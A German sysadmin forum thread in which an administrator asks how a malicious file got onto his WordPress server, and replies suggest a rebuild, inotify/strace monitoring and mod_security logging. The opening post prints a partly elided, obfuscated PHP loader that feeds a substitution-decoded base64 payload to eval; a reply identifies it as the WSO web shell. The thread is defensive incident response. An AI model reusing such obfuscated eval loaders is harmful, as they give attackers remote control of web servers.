stefankittel
Goto Top

Wie kann man nachvollziehen wie eine Datei auf einem Webserver erstellt wurde?

Hallo,

ich habe hier einen LAMP-Server (Ubuntu LTS, Apache, PHP, MySQL).
Alles ganz frisch.

Kein ControlPanel, von Hand konfiguriert.

Nun wurde in einem Account (Wordpress) eine unfreundliche Datei gefunden und beseitigt.
Erkannt mit einem eigenem IDS.

Aber ich würde gerne wissen wie die Datei dahin gekommen ist.
- Ich habe das Dateidatum
- In den FTP Transfer-Logs (ProFTPd) ist diese Datei nicht verzeichnet.
- Keine Einwahl per SSH in diesem Zeitraum

Also kann die Datei ja nur durch ein PHP-Skript erstellt worden. Aber welches und wo?
Kennt Jemand eine Möglichkeit solche Fälle zu protokollieren?
Also bestimmte PHP-Befehle zu in einem Log zu protokollieren.

z.B.
Datum
file_put_contents wurde aufgerufen von datei /temp/bad_form.php und hat die Datei /wso.php erstellt.

Mit Virenscannern kommt man bei diesen Dateien auch nicht weiter.
Ich habe viele verschiedene ausprobiert, aber keiner erkennt son kram und die Befehle eval und base64_decode kann ich auch nicht sperren, da sonst in Wordpress nix mehr geht.
<?php
function np($nmbthg, $ihtdpdk){$frf = ''; for($i=0; $i < strlen($nmbthg); $i++){$frf .= isset($ihtdpdk[$nmbthg[$i]]) ? $ihtdpdk[$nmbthg[$i]] : $nmbthg[$i];}  
$ocupyme="base64_decode";return $ocupyme($frf);}  
$lfpm = 'Y7sDdF8rifYt1kFH0Q8HfkhqiH0ZJpGF3pbUIbUXdzGUfVesvjlng78nfkFH0Q8H0H0ZJWXUIbUXdzGUfVesvjlngzR6f'.  
'kF6izeuv7sqgs8Sdzus1HblyjwCjwKrifTLv7soiF8ZdzuUvjlbA3ZAjQsQA7sr0kFSAjTLBSFmFwFmAmwANbt11R'.  
....
'91s0uZx0x1vzH1nJsSlMmXwik8qiWZAjmTHifegJnJxfFZx5x1vJW'.  
'Sl171OiWZAjf1sv9FHgxKx5fese2TLizG2gkTsA9es0QsOg7saimlw0QFrAmwCjnS=';  
$ms = Array('1'=>'J', '0'=>'c', '3'=>'t', '2'=>'j', '5'=>'Y', '4'=>'r', '7'=>'g', '6'=>'4', '9'=>'h', '8'=>'9', 'A'=>'k', 'c'=>'7', 'B'=>'U', 'E'=>'8', 'D'=>'u', 'g'=>'5', 'F'=>'v', 'I'=>'o', 'h'=>'y', 'k'=>'b', 'j'=>'i', 'M'=>'p', 'L'=>'f', 'o'=>'h', 'N'=>'e', 'Q'=>'m', 'p'=>'l', 'S'=>'0', 'r'=>'F', 'U'=>'p', 't'=>'R', 'W'=>'d', 'v'=>'3', 'Y'=>'q', 'X'=>'a', 'Z'=>'s', 'a'=>'6', 'c'=>'q', 'b'=>'w', 'e'=>'n', 'd'=>'a', 'g'=>'b', 'f'=>'x', 'i'=>'z', 'h'=>'x', 'k'=>'2', 'j'=>'C', 'm'=>'S', 'l'=>'g', 'o'=>'t', 'n'=>'n', 'q'=>'v', 'p'=>'E', 's'=>'l', 'r'=>'z', 'u'=>'1', 't'=>'o', 'w'=>'k', 'v'=>'d', 'y'=>'M', 'x'=>'i', 'z'=>'W');  
eval(np($lfpm, $ms));?>

Viele Grüße

Stefan

So, zurück aufs Sofa und den Bauch streicheln...

Content-Key: 291675

Url: https://administrator.de/contentid/291675

Printed on: May 4, 2024 at 20:05 o'clock

Member: kaiand1
kaiand1 Dec 24, 2015 at 23:38:28 (UTC)
Goto Top
Nun das Dateidatu bringt dir nix da man dies leicht Ändern kann je nach Art der Übertragung.
Wordpress ist halt beliebt und kann wenn es nicht Up2Date ist viele Lücken haben wodurch Fremde reinkommen können.
Dazu auch wenn der Webserver nicht Richtig eingestellt ist.
Vermutlich wird den den WWW Logs was zu finden sein aber je nach Einstellung der Detailierung kann es sein das du da nix siehst.
Dazu währe der Pfad der Datei Hilfreich sowie welcher User/Gruppe die Datei erstellt hat.
Desweiteren währe die Datei zu ersetzten mit einen anderen Code der beim Aufruf die IP Host ect logt und ggfs dich sofort per Mail Informiert.
Dazu kann der Eindrinling auch die Logs verändert haben und so sein Logins gelöscht haben wodurch du diesen nicht siehst.
Wenn die Logsfiles ect gelöscht würden währe dies ja sehr auffällig ;)
Dazu ist das Script auch "Verschlüsselt" was bei der Variabel $ms ja zu sehen ist welche Zahl/Buchstabe im Script zu welchen realen zeichen wird...
Aber da das System kompromitiert wurde bleibt nur sofortige Abschaltung und komplette Neuaufsetzung.
Dazu jede Datei als "Beschädigt" erachten da in anderen Scripten weiterer Code eingefügt werden konnte...

Aber du kannst ja das Script Entschlüsseln und schauen was es machen sollte dann bist du ja auch schon was weiter....
Member: iTesla
iTesla Dec 25, 2015 updated at 08:20:03 (UTC)
Goto Top
This utility provides a Web interface for remote operation c operating system and its service / daemon.

..siehe:
https://code.google.com/p/wso-web-shell-2-8/

http://thehackernews.com/2011/06/wso-new-version-25-web-shell-2011.html

.. also Wordpress incl. Datenbank platt machen und neu aufsetzen !!
Member: StefanKittel
StefanKittel Dec 25, 2015 updated at 10:20:07 (UTC)
Goto Top
Moin,

1. Das Skript gehört www-userx welches nur hier Zugriffsrechte hat
eine Kompromitierung des Server selber und der Log-Dateien kann ich damit ausschliessen
2. Das iNode-Datum kommt hin, da es kurz danach vom IDS gefunden wurde
3. Das Wordpress wurde komplett aus der Datensicherung wiederhergestellt

Aber damit ist das Problem ja nicht weg.
Das Wordpress ist inklusive aller Module sehr aktuell. Alle Updates wurden nicht länger als 1 Woche aktualisiert.
Es sind allerdings sehr viele Module installiert, davon ca. 10 extra dafür von einer Agentur programmiert.
Ja, Alles Module werden benötigt. Es ist ein sehr aufwendiges Marketinginstrument.
Vermutlich ist eines der Module Buggy, aber welches?

Einen Transfer per SSH oder FTP kann ich sicher ausschliessen.

Also würde ich gerne wissen wie diese Datei erstellt wurde, damit man das abstellen kann.
Am besten wenn man den Aufruf von fopen und &co loggen könnte.

Viele Grüße

Stefan
Member: runasservice
runasservice Dec 25, 2015 updated at 14:33:11 (UTC)
Goto Top
Hallo,

Zitat von @StefanKittel:

Also würde ich gerne wissen wie diese Datei erstellt wurde, damit man das abstellen kann.
Am besten wenn man den Aufruf von fopen und &co loggen könnte.

vielleicht solltest Du mal iwatch oder strace ausprobieren? Mit iwatch bzw. der inotify-Schnittstelle kann auf einfache Art und Weise das Filesystem auf Änderungen überwacht werden.

Mit freundlichen Grüßen Andreas
Member: StefanKittel
StefanKittel Dec 25, 2015 at 18:00:22 (UTC)
Goto Top
Hallo,

so etwas ähnliches entwicklen wir gerade für uns.
Das würde nur die Erkennung schneller machen.
Aber wie die Datei angelegt würde weiß ich dann immer noch nicht.

Ich schaue mir gerade mod_security an.
Damit könnte ich alle Get und Post Parameter loggen.
Vieleicht kann man damit den erstellenden Zugriff eingrenzen.
Mal schauen was da für Daten kommen.

Viele Grüße

Stefan